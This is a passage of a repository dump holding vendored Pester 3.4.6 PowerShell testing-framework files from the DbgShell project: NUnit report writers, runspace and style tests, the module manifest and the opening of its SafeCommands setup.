[Parameter(ValueFromPipeline=$true)] $TimeSpan ) process { if ($TimeSpan) { [string][math]::round(([TimeSpan]$TimeSpan).totalseconds,4) } else { '0' } } } function Get-TestSuccess($tests) { $result = $true if ($tests) { foreach ($test in $tests) { if (-not $test.Passed) { $result = $false break } } } [String]$result } function Write-NUnitTestSuiteAttributes($TestSuiteInfo, [System.Xml.XmlWriter] $XmlWriter, [string] $TestSuiteType, [switch] $LegacyFormat) { $XmlWriter.WriteAttributeString('type', $TestSuiteType) $XmlWriter.WriteAttributeString('name', $TestSuiteInfo.name) $XmlWriter.WriteAttributeString('executed', 'True') $XmlWriter.WriteAttributeString('result', $TestSuiteInfo.resultMessage) $XmlWriter.WriteAttributeString('success', $TestSuiteInfo.success) $XmlWriter.WriteAttributeString('time',$TestSuiteInfo.totalTime) $XmlWriter.WriteAttributeString('asserts','0') if (-not $LegacyFormat) { $XmlWriter.WriteAttributeString('description', $TestSuiteInfo.Description) } } function Write-NUnitDescribeChildElements([object[]] $TestResults, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat, [string] $DescribeName) { $suites = $TestResults | & $SafeCommands['Group-Object'] -Property ParameterizedSuiteName foreach ($suite in $suites) { if ($suite.Name) { $suiteInfo = Get-TestSuiteInfo -TestSuiteGroup $suite $XmlWriter.WriteStartElement('test-suite') if (-not $LegacyFormat) { $suiteInfo.Name = "$DescribeName.$($suiteInfo.Name)" } Write-NUnitTestSuiteAttributes -TestSuiteInfo $suiteInfo -TestSuiteType 'ParameterizedTest' -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat $XmlWriter.WriteStartElement('results') } Write-NUnitTestCaseElements -TestResults $suite.Group -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat -DescribeName $DescribeName -ParameterizedSuiteName $suite.Name if ($suite.Name) { $XmlWriter.WriteEndElement() $XmlWriter.WriteEndElement() } } } function Write-NUnitTestCaseElements([object[]] $TestResults, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat, [string] $DescribeName, [string] $ParameterizedSuiteName) { foreach ($testResult in $TestResults) { $XmlWriter.WriteStartElement('test-case') Write-NUnitTestCaseAttributes -TestResult $testResult -XmlWriter $XmlWriter -LegacyFormat:$LegacyFormat -DescribeName $DescribeName -ParameterizedSuiteName $ParameterizedSuiteName $XmlWriter.WriteEndElement() } } function Write-NUnitTestCaseAttributes($TestResult, [System.Xml.XmlWriter] $XmlWriter, [switch] $LegacyFormat, [string] $DescribeName, [string] $ParameterizedSuiteName) { $testName = $TestResult.Name if (-not $LegacyFormat) { if ($testName -eq $ParameterizedSuiteName) { $paramString = '' if ($null -ne $TestResult.Parameters) { $params = @( foreach ($value in $TestResult.Parameters.Values) { if ($null -eq $value) { 'null' } elseif ($value -is [string]) { '"{0}"' -f $value } else { #do not use .ToString() it uses the current culture settings #and we need to use en-US culture, which [string] or .ToString([Globalization.CultureInfo]'en-us') uses [string]$value } } ) $paramString = $params -join ',' } $testName = "$testName($paramString)" } $testName = "$DescribeName.$testName" $XmlWriter.WriteAttributeString('description', $TestResult.Name) } $XmlWriter.WriteAttributeString('name', $testName) $XmlWriter.WriteAttributeString('time', (Convert-TimeSpan $TestResult.Time)) $XmlWriter.WriteAttributeString('asserts', '0') $XmlWriter.WriteAttributeString('success', $TestResult.Passed) switch ($TestResult.Result) { Passed { $XmlWriter.WriteAttributeString('result', 'Success') $XmlWriter.WriteAttributeString('executed', 'True') break } Skipped { $XmlWriter.WriteAttributeString('result', 'Ignored') $XmlWriter.WriteAttributeString('executed', 'False') break } Pending { $XmlWriter.WriteAttributeString('result', 'Inconclusive') $XmlWriter.WriteAttributeString('executed', 'True') break } Inconclusive { $XmlWriter.WriteAttributeString('result', 'Inconclusive') $XmlWriter.WriteAttributeString('executed', 'True') if ($TestResult.FailureMessage) { $XmlWriter.WriteStartElement('reason') $xmlWriter.WriteElementString('message', $TestResult.FailureMessage) $XmlWriter.WriteEndElement() # Close reason tag } break } Failed { $XmlWriter.WriteAttributeString('result', 'Failure') $XmlWriter.WriteAttributeString('executed', 'True') $XmlWriter.WriteStartElement('failure') $xmlWriter.WriteElementString('message', $TestResult.FailureMessage) $XmlWriter.WriteElementString('stack-trace', $TestResult.StackTrace) $XmlWriter.WriteEndElement() # Close failure tag break } } } function Get-RunTimeEnvironment() { # based on what we found during startup, use the appropriate cmdlet if ( $SafeCommands['Get-CimInstance'] -ne $null ) { $osSystemInformation = (& $SafeCommands['Get-CimInstance'] Win32_OperatingSystem) } elseif ( $SafeCommands['Get-WmiObject'] -ne $null ) { $osSystemInformation = (& $SafeCommands['Get-WmiObject'] Win32_OperatingSystem) } else { $osSystemInformation = @{ Name = "Unknown" Version = "0.0.0.0" } } @{ 'nunit-version' = '2.5.8.0' 'os-version' = $osSystemInformation.Version platform = $osSystemInformation.Name cwd = (& $SafeCommands['Get-Location']).Path #run path 'machine-name' = $env:ComputerName user = $env:Username 'user-domain' = $env:userDomain 'clr-version' = [string]$PSVersionTable.ClrVersion } } function Exit-WithCode ($FailedCount) { $host.SetShouldExit($FailedCount) } function Get-ParentResult ($InputObject) { #I am not sure about the result precedence, and can't find any good source #TODO: Confirm this is the correct order of precedence if ($inputObject.FailedCount -gt 0) { return 'Failure' } if ($InputObject.SkippedCount -gt 0) { return 'Ignored' } if ($InputObject.PendingCount -gt 0) { return 'Inconclusive' } return 'Success' } function Get-GroupResult ($InputObject) { #I am not sure about the result precedence, and can't find any good source #TODO: Confirm this is the correct order of precedence if ($InputObject | & $SafeCommands['Where-Object'] {$_.Result -eq 'Failed'}) { return 'Failure' } if ($InputObject | & $SafeCommands['Where-Object'] {$_.Result -eq 'Skipped'}) { return 'Ignored' } if ($InputObject | & $SafeCommands['Where-Object'] {$_.Result -eq 'Pending' -or $_.Result -eq 'Inconclusive'}) { return 'Inconclusive' } return 'Success' } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/TestsRunningInCleanRunspace.Tests.ps1 ================================================ function Invoke-PesterInJob ($ScriptBlock, [switch] $GenerateNUnitReport) { $PesterPath = Get-Module Pester | Select-Object -First 1 -ExpandProperty Path $job = Start-Job { param ($PesterPath, $TestDrive, $ScriptBlock, $GenerateNUnitReport) Import-Module $PesterPath -Force | Out-Null $ScriptBlock | Set-Content $TestDrive\Temp.Tests.ps1 | Out-Null $params = @{ PassThru = $true Path = $TestDrive } if ($GenerateNUnitReport) { $params['OutputFile'] = "$TestDrive\Temp.Tests.xml" $params['OutputFormat'] = 'NUnitXml' } Invoke-Pester @params } -ArgumentList $PesterPath, $TestDrive, $ScriptBlock, $GenerateNUnitReport $job | Wait-Job | Out-Null #not using Receive-Job to ignore any output to Host #TODO: how should this handle errors? #$job.Error | foreach { throw $_.Exception } $job.Output $job.ChildJobs| foreach { $childJob = $_ #$childJob.Error | foreach { throw $_.Exception } $childJob.Output } $job | Remove-Job } Describe "Tests running in clean runspace" { It "It - Skip and Pending tests" { #tests to be run in different runspace using different Pester instance $TestSuite = { Describe 'It - Skip and Pending tests' { It "Skip without ScriptBlock" -skip It "Skip with empty ScriptBlock" -skip {} It "Skip with not empty ScriptBlock" -Skip {"something"} It "Implicit pending" {} It "Pending without ScriptBlock" -Pending It "Pending with empty ScriptBlock" -Pending {} It "Pending with not empty ScriptBlock" -Pending {"something"} } } $result = Invoke-PesterInJob -ScriptBlock $TestSuite $result.SkippedCount | Should Be 3 $result.PendingCount | Should Be 4 $result.TotalCount | Should Be 7 } It "It - It without ScriptBlock fails" { #tests to be run in different runspace using different Pester instance $TestSuite = { Describe 'It without ScriptBlock fails' { It "Fails whole describe" It "is not run" { "but it would pass if it was run" } } } $result = Invoke-PesterInJob -ScriptBlock $TestSuite $result.PassedCount | Should Be 0 $result.FailedCount | Should Be 1 $result.TotalCount | Should Be 1 } It "Invoke-Pester - PassThru output" { #tests to be run in different runspace using different Pester instance $TestSuite = { Describe 'PassThru output' { it "Passes" { "pass" } it "fails" { throw } it "Skipped" -Skip {} it "Pending" -Pending {} } } $result = Invoke-PesterInJob -ScriptBlock $TestSuite $result.PassedCount | Should Be 1 $result.FailedCount | Should Be 1 $result.SkippedCount | Should Be 1 $result.PendingCount | Should Be 1 $result.TotalCount | Should Be 4 } It 'Produces valid NUnit output when syntax errors occur in test scripts' { $invalidScript = ' Describe "Something" { It "Works" { $true | Should Be $true } # Deliberately missing closing brace to trigger syntax error ' $result = Invoke-PesterInJob -ScriptBlock $invalidScript -GenerateNUnitReport $result.FailedCount | Should Be 1 $result.TotalCount | Should Be 1 'TestDrive:\Temp.Tests.xml' | Should Exist $xml = [xml](Get-Content TestDrive:\Temp.Tests.xml) $xml.'test-results'.'test-suite'.results.'test-suite'.name | Should Not BeNullOrEmpty } } Describe 'Guarantee It fail on setup or teardown fail (running in clean runspace)' { #these tests are kinda tricky. We need to ensure few things: #1) failing BeforeEach will fail the test. This is easy, just put the BeforeEach in the same try catch as the invocation # of It code. #2) failing AfterEach will fail the test. To do that we might put the AfterEach to the same try as the It code, BUT we also # want to guarantee that the AfterEach will run even if the test in It will fail. For this reason the AfterEach must be triggered in # a finally block. And there we are not protected by the catch clause. So we need another try in the the finally to catch teardown block # error. If we fail to do that the state won't be correctly cleaned up and we can get strange errors like: "You are still in It block", when # running next test. For the same reason I am putting the "ensure all tests run" tests here. otherwise you get false positives because you cannot determine # if the suite failed because of the whole suite failed or just a single test failed. It 'It fails if BeforeEach fails' { $testSuite = { Describe 'Guarantee It fail on setup or teardown fail' { BeforeEach { throw [System.InvalidOperationException] 'test exception' } It 'It fails if BeforeEach fails' { $true } } } $result = Invoke-PesterInJob -ScriptBlock $testSuite $result.FailedCount | Should Be 1 $result.TestResult[0].FailureMessage | Should Be "test exception" } It 'It fails if AfterEach fails' { $testSuite = { Describe 'Guarantee It fail on setup or teardown fail' { It 'It fails if AfterEach fails' { $true } AfterEach { throw [System.InvalidOperationException] 'test exception' } } Describe 'Make sure all the tests in the suite run' { #when the previous test fails in after each and It 'It is pending' -Pending {} } } $result = Invoke-PesterInJob -ScriptBlock $testSuite if ($result.PendingCount -ne 1) { throw "The test suite in separate runspace did not run to completion, it was likely terminated by an uncaught exception thrown in AfterEach." } $result.FailedCount | Should Be 1 $result.TestResult[0].FailureMessage | Should Be "test exception" } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/LICENSE ================================================ Copyright 2011 Scott Muc and Manoj Mahalingam Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Pester.Tests.ps1 ================================================ $here = Split-Path -Parent $MyInvocation.MyCommand.Path $manifestPath = "$here\Pester.psd1" $changeLogPath = "$here\CHANGELOG.md" # DO NOT CHANGE THIS TAG NAME; IT AFFECTS THE CI BUILD. Describe -Tags 'VersionChecks' "Pester manifest and changelog" { $script:manifest = $null It "has a valid manifest" { { $script:manifest = Test-ModuleManifest -Path $manifestPath -ErrorAction Stop -WarningAction SilentlyContinue } | Should Not Throw } It "has a valid name in the manifest" { $script:manifest.Name | Should Be Pester } It "has a valid guid in the manifest" { $script:manifest.Guid | Should Be 'a699dea5-2c73-4616-a270-1f7abb777e71' } It "has a valid version in the manifest" { $script:manifest.Version -as [Version] | Should Not BeNullOrEmpty } $script:changelogVersion = $null It "has a valid version in the changelog" { foreach ($line in (Get-Content $changeLogPath)) { if ($line -match "^\D*(?(\d+\.){1,3}\d+)") { $script:changelogVersion = $matches.Version break } } $script:changelogVersion | Should Not BeNullOrEmpty $script:changelogVersion -as [Version] | Should Not BeNullOrEmpty } It "changelog and manifest versions are the same" { $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) } if (Get-Command git.exe -ErrorAction SilentlyContinue) { $skipVersionTest = -not [bool]((git remote -v 2>&1) -match "github.com/Pester/") $script:tagVersion = $null It "is tagged with a valid version" -skip:$skipVersionTest { $thisCommit = git.exe log --decorate --oneline HEAD~1..HEAD if ($thisCommit -match 'tag:\s*(\d+(?:\.\d+)*)') { $script:tagVersion = $matches[1] } $script:tagVersion | Should Not BeNullOrEmpty $script:tagVersion -as [Version] | Should Not BeNullOrEmpty } It "all versions are the same" -skip:$skipVersionTest { $script:changelogVersion -as [Version] | Should be ( $script:manifest.Version -as [Version] ) $script:manifest.Version -as [Version] | Should be ( $script:tagVersion -as [Version] ) } } } if ($PSVersionTable.PSVersion.Major -ge 3) { $error.Clear() Describe 'Clean treatment of the $error variable' { Context 'A Context' { It 'Performs a successful test' { $true | Should Be $true } } It 'Did not add anything to the $error variable' { $error.Count | Should Be 0 } } InModuleScope Pester { Describe 'SafeCommands table' { $path = $ExecutionContext.SessionState.Module.ModuleBase $filesToCheck = Get-ChildItem -Path $path -Recurse -Include *.ps1,*.psm1 -Exclude *.Tests.ps1 $callsToSafeCommands = @( foreach ($file in $files) { $tokens = $parseErrors = $null $ast = [System.Management.Automation.Language.Parser]::ParseFile($file.FullName, [ref] $tokens, [ref] $parseErrors) $filter = { $args[0] -is [System.Management.Automation.Language.CommandAst] -and $args[0].InvocationOperator -eq [System.Management.Automation.Language.TokenKind]::Ampersand -and $args[0].CommandElements[0] -is [System.Management.Automation.Language.IndexExpressionAst] -and $args[0].CommandElements[0].Target -is [System.Management.Automation.Language.VariableExpressionAst] -and $args[0].CommandElements[0].Target.VariablePath.UserPath -match '^(?:script:)?SafeCommands$' } $ast.FindAll($filter, $true) } ) $uniqueSafeCommands = $callsToSafeCommands | ForEach-Object { $_.CommandElements[0].Index.Value } | Select-Object -Unique $missingSafeCommands = $uniqueSafeCommands | Where-Object { -not $script:SafeCommands.ContainsKey($_) } It 'The SafeCommands table contains all commands that are called from the module' { $missingSafeCommands | Should Be $null } } } } Describe 'Style rules' { $pesterRoot = (Get-Module Pester).ModuleBase $files = @( Get-ChildItem $pesterRoot\* -Include *.ps1,*.psm1 Get-ChildItem (Join-Path $pesterRoot 'Functions') -Include *.ps1,*.psm1 -Recurse ) It 'Pester source files contain no trailing whitespace' { $badLines = @( foreach ($file in $files) { $lines = [System.IO.File]::ReadAllLines($file.FullName) $lineCount = $lines.Count for ($i = 0; $i -lt $lineCount; $i++) { if ($lines[$i] -match '\s+$') { 'File: {0}, Line: {1}' -f $file.FullName, ($i + 1) } } } ) if ($badLines.Count -gt 0) { throw "The following $($badLines.Count) lines contain trailing whitespace: `r`n`r`n$($badLines -join "`r`n")" } } It 'Spaces are used for indentation in all code files, not tabs' { $badLines = @( foreach ($file in $files) { $lines = [System.IO.File]::ReadAllLines($file.FullName) $lineCount = $lines.Count for ($i = 0; $i -lt $lineCount; $i++) { if ($lines[$i] -match '^[ ]*\t|^\t|^\t[ ]*') { 'File: {0}, Line: {1}' -f $file.FullName, ($i + 1) } } } ) if ($badLines.Count -gt 0) { throw "The following $($badLines.Count) lines start with a tab character: `r`n`r`n$($badLines -join "`r`n")" } } It 'Pester Source Files all end with a newline' { $badFiles = @( foreach ($file in $files) { $string = [System.IO.File]::ReadAllText($file.FullName) if ($string.Length -gt 0 -and $string[-1] -ne "`n") { $file.FullName } } ) if ($badFiles.Count -gt 0) { throw "The following files do not end with a newline: `r`n`r`n$($badFiles -join "`r`n")" } } } InModuleScope Pester { Describe 'ResolveTestScripts' { Setup -File SomeFile.ps1 Setup -File SomeFile.Tests.ps1 Setup -File SomeOtherFile.ps1 Setup -File SomeOtherFile.Tests.ps1 It 'Resolves non-wildcarded file paths regardless of whether the file ends with Tests.ps1' { $result = @(ResolveTestScripts $TestDrive\SomeOtherFile.ps1) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeOtherFile.ps1" } It 'Finds only *.Tests.ps1 files when the path contains wildcards' { $result = @(ResolveTestScripts $TestDrive\*.ps1) $result.Count | Should Be 2 $paths = $result | Select-Object -ExpandProperty Path ($paths -contains "$TestDrive\SomeFile.Tests.ps1") | Should Be $true ($paths -contains "$TestDrive\SomeOtherFile.Tests.ps1") | Should Be $true } It 'Finds only *.Tests.ps1 files when the path refers to a directory and does not contain wildcards' { $result = @(ResolveTestScripts $TestDrive) $result.Count | Should Be 2 $paths = $result | Select-Object -ExpandProperty Path ($paths -contains "$TestDrive\SomeFile.Tests.ps1") | Should Be $true ($paths -contains "$TestDrive\SomeOtherFile.Tests.ps1") | Should Be $true } It 'Assigns empty array and hashtable to the Arguments and Parameters properties when none are specified by the caller' { $result = @(ResolveTestScripts "$TestDrive\SomeFile.ps1") $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" ,$result[0].Arguments | Should Not Be $null ,$result[0].Parameters | Should Not Be $null $result[0].Arguments.GetType() | Should Be ([object[]]) $result[0].Arguments.Count | Should Be 0 $result[0].Parameters.GetType() | Should Be ([hashtable]) $result[0].Parameters.PSBase.Count | Should Be 0 } Context 'Passing in Dictionaries instead of Strings' { It 'Allows the use of a "P" key instead of "Path"' { $result = @(ResolveTestScripts @{ P = "$TestDrive\SomeFile.ps1" }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" } $testArgs = @('I am a string') It 'Allows the use of an "Arguments" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Arguments = $testArgs }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Arguments.Count | Should Be 1 $result[0].Arguments[0] | Should Be 'I am a string' } It 'Allows the use of an "Args" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Args = $testArgs }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Arguments.Count | Should Be 1 $result[0].Arguments[0] | Should Be 'I am a string' } It 'Allows the use of an "A" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; A = $testArgs }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Arguments.Count | Should Be 1 $result[0].Arguments[0] | Should Be 'I am a string' } $testParams = @{ MyKey = 'MyValue' } It 'Allows the use of a "Parameters" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Parameters = $testParams }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Parameters.PSBase.Count | Should Be 1 $result[0].Parameters['MyKey'] | Should Be 'MyValue' } It 'Allows the use of a "Params" key in the dictionary' { $result = @(ResolveTestScripts @{ Path = "$TestDrive\SomeFile.ps1"; Params = $testParams }) $result.Count | Should Be 1 $result[0].Path | Should Be "$TestDrive\SomeFile.ps1" $result[0].Parameters.PSBase.Count | Should Be 1 $result[0].Parameters['MyKey'] | Should Be 'MyValue' } It 'Throws an error if no Path is specified' { { ResolveTestScripts @{} } | Should Throw } It 'Throws an error if a Parameters key is used, but does not contain an IDictionary object' { { ResolveTestScripts @{ P='P'; Params = 'A string' } } | Should Throw } } } describe 'Get-OperatingSystem' { it 'returns Windows' { Get-OperatingSystem | should be 'Windows' } } describe 'Get-TempDirectory' { it 'returns the correct temp directory for Windows' { mock 'Get-OperatingSystem' { 'Windows' } Get-TempDirectory | should be $env:TEMP } it 'returns the correct temp directory for MacOS' { mock 'Get-OperatingSystem' { 'MacOS' } Get-TempDirectory | should be '/tmp' } it 'returns the correct temp directory for Linux' { mock 'Get-OperatingSystem' { 'Linux' } Get-TempDirectory | should be '/tmp' } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Pester.psd1 ================================================ @{ # Script module or binary module file associated with this manifest. RootModule = 'Pester.psm1' # Version number of this module. ModuleVersion = '3.4.6' # ID used to uniquely identify this module GUID = 'a699dea5-2c73-4616-a270-1f7abb777e71' # Author of this module Author = 'Pester Team' # Company or vendor of this module CompanyName = 'Pester' # Copyright statement for this module Copyright = 'Copyright (c) 2016 by Pester Team, licensed under Apache 2.0 License.' # Description of the functionality provided by this module Description = 'Pester provides a framework for running BDD style Tests to execute and validate PowerShell commands inside of PowerShell and offers a powerful set of Mocking Functions that allow tests to mimic and mock the functionality of any command inside of a piece of PowerShell code being tested. Pester tests can execute any command or script that is accessible to a pester test file. This can include functions, Cmdlets, Modules and scripts. Pester can be run in ad hoc style in a console or it can be integrated into the Build scripts of a Continuous Integration system.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Describe', 'Context', 'It', 'Should', 'Mock', 'Assert-MockCalled', 'Assert-VerifiableMocks', 'New-Fixture', 'Get-TestDriveItem', 'Invoke-Pester', 'Setup', 'In', 'InModuleScope', 'Invoke-Mock', 'BeforeEach', 'AfterEach', 'BeforeAll', 'AfterAll' 'Get-MockDynamicParameters', 'Set-DynamicParameterVariables', 'Set-TestInconclusive', 'SafeGetCommand', 'New-PesterOption', 'New-MockObject' ) # # Cmdlets to export from this module # CmdletsToExport = '*' # Variables to export from this module VariablesToExport = @( 'Path', 'TagFilter', 'ExcludeTagFilter', 'TestNameFilter', 'TestResult', 'CurrentContext', 'CurrentDescribe', 'CurrentTest', 'SessionState', 'CommandCoverage', 'BeforeEach', 'AfterEach', 'Strict' ) # # Aliases to export from this module # AliasesToExport = '*' # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() PrivateData = @{ # PSData is module packaging and gallery metadata embedded in PrivateData # It's for rebuilding PowerShellGet (and PoshCode) NuGet-style packages # We had to do this because it's the only place we're allowed to extend the manifest # https://connect.microsoft.com/PowerShell/feedback/details/421837 PSData = @{ # The primary categorization of this module (from the TechNet Gallery tech tree). Category = "Scripting Techniques" # Keyword tags to help users find this module via navigations and search. Tags = @('powershell','unit_testing','bdd','tdd','mocking') # The web address of an icon which can be used in galleries to represent this module IconUri = "http://pesterbdd.com/images/Pester.png" # The web address of this module's project or support homepage. ProjectUri = "https://github.com/Pester/Pester" # The web address of this module's license. Points to a page that's embeddable and linkable. LicenseUri = "http://www.apache.org/licenses/LICENSE-2.0.html" # Release notes for this particular version of the module # ReleaseNotes = False # If true, the LicenseUrl points to an end-user license (not just a source license) which requires the user agreement before use. # RequireLicenseAcceptance = "" # Indicates this is a pre-release/testing version of the module. IsPrerelease = 'False' } } # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Pester.psm1 ================================================ # Pester # Version: $version$ # Changeset: $sha$ if ($PSVersionTable.PSVersion.Major -ge 3) { $script:IgnoreErrorPreference = 'Ignore' $outNullModule = 'Microsoft.PowerShell.Core' } else { $script:IgnoreErrorPreference = 'SilentlyContinue' $outNullModule = 'Microsoft.PowerShell.Utility' } # Tried using $ExecutionState.InvokeCommand.GetCmdlet() here, but it does not trigger module auto-loading the way # Get-Command does. Since this is at import time, before any mocks have been defined, that's probably acceptable. # If someone monkeys with Get-Command before they import Pester, they may break something. # The -All parameter is required when calling Get-Command to ensure that PowerShell can find the command it is # looking for. Otherwise, if you have modules loaded that define proxy cmdlets or that have cmdlets with the same # name as the safe cmdlets, Get-Command will return null. $safeCommandLookupParameters = @{ CommandType = [System.Management.Automation.CommandTypes]::Cmdlet ErrorAction = [System.Management.Automation.ActionPreference]::Stop } if ($PSVersionTable.PSVersion.Major -gt 2) { $safeCommandLookupParameters['All'] = $true } $script:SafeCommands = @{ 'Add-Member' = Get-Command -Name Add-Member -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Add-Type' = Get-Command -Name Add-Type -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Compare-Object' = Get-Command -Name Compare-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Export-ModuleMember' = Get-Command -Name Export-ModuleMember -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'ForEach-Object' = Get-Command -Name ForEach-Object -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Format-Table' = Get-Command -Name Format-Table -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Get-ChildItem' = Get-Command -Name Get-ChildItem -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Command' = Get-Command -Name Get-Command -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Get-Content' = Get-Command -Name Get-Content -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Date' = Get-Command -Name Get-Date -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Get-Item' = Get-Command -Name Get-Item -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Location' = Get-Command -Name Get-Location -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Member' = Get-Command -Name Get-Member -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Get-Module' = Get-Command -Name Get-Module -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Get-PSDrive' = Get-Command -Name Get-PSDrive -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Get-Variable' = Get-Command -Name Get-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Group-Object' = Get-Command -Name Group-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Join-Path' = Get-Command -Name Join-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Measure-Object' = Get-Command -Name Measure-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'New-Item' = Get-Command -Name New-Item -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'New-Module' = Get-Command -Name New-Module -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'New-Object' = Get-Command -Name New-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'New-PSDrive' = Get-Command -Name New-PSDrive -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'New-Variable' = Get-Command -Name New-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Out-Null' = Get-Command -Name Out-Null -Module $outNullModule @safeCommandLookupParameters 'Out-String' = Get-Command -Name Out-String -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Pop-Location' = Get-Command -Name Pop-Location -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Push-Location' = Get-Command -Name Push-Location -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Remove-Item' = Get-Command -Name Remove-Item -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Remove-PSBreakpoint' = Get-Command -Name Remove-PSBreakpoint -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Remove-PSDrive' = Get-Command -Name Remove-PSDrive -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Remove-Variable' = Get-Command -Name Remove-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Resolve-Path' = Get-Command -Name Resolve-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Select-Object' = Get-Command -Name Select-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Set-Content' = Get-Command -Name Set-Content -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Set-PSBreakpoint' = Get-Command -Name Set-PSBreakpoint -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Set-StrictMode' = Get-Command -Name Set-StrictMode -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Set-Variable' = Get-Command -Name Set-Variable -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Sort-Object' = Get-Command -Name Sort-Object -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Split-Path' = Get-Command -Name Split-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Start-Sleep' = Get-Command -Name Start-Sleep -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Test-Path' = Get-Command -Name Test-Path -Module Microsoft.PowerShell.Management @safeCommandLookupParameters 'Where-Object' = Get-Command -Name Where-Object -Module Microsoft.PowerShell.Core @safeCommandLookupParameters 'Write-Error' = Get-Command -Name Write-Error -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Write-Progress' = Get-Command -Name Write-Progress -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Write-Verbose' = Get-Command -Name Write-Verbose -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters 'Write-Warning' = Get-Command -Name Write-Warning -Module Microsoft.PowerShell.Utility @safeCommandLookupParameters } # Not all platforms have Get-WmiObject (Nano) # Get-CimInstance is prefered, but we can use Get-WmiObject if it exists # Moreover, it shouldn't really be fatal if neither of those cmdlets # exist if ( Get-Command -ea SilentlyContinue Get-CimInstance ) { $script:SafeCommands['Get-CimInstance'] = Get-Command -Name Get-CimInstance -Module CimCmdlets @safeCommandLookupParameters } elseif ( Get-command -ea SilentlyContinue Get-WmiObject ) { $script:SafeCommands['Get-WmiObject'] = Get-Command -Name Get-WmiObject -Module Microsoft.PowerShell.Management @safeCommandLookupParameters } else { Write-Warning "OS Information retrieval is not possible, reports will contain only partial system data" } # little sanity check to make sure we don't blow up a system with a typo up there # (not that I've EVER done that by, for example, mapping New-Item to Remove-Item...) foreach ($keyValuePair in $script:SafeCommands.GetEnumerator()) { if ($keyValuePair.Key -ne $keyValuePair.Value.Name) { throw "SafeCommands entry for $($keyValuePair.Key) does not hold a reference to the proper command." } } $moduleRoot = & $script:SafeCommands['Split-Path'] -Path $MyInvocation.MyCommand.Path "$moduleRoot\Functions\*.ps1", "$moduleRoot\Functions\Assertions\*.ps1" | & 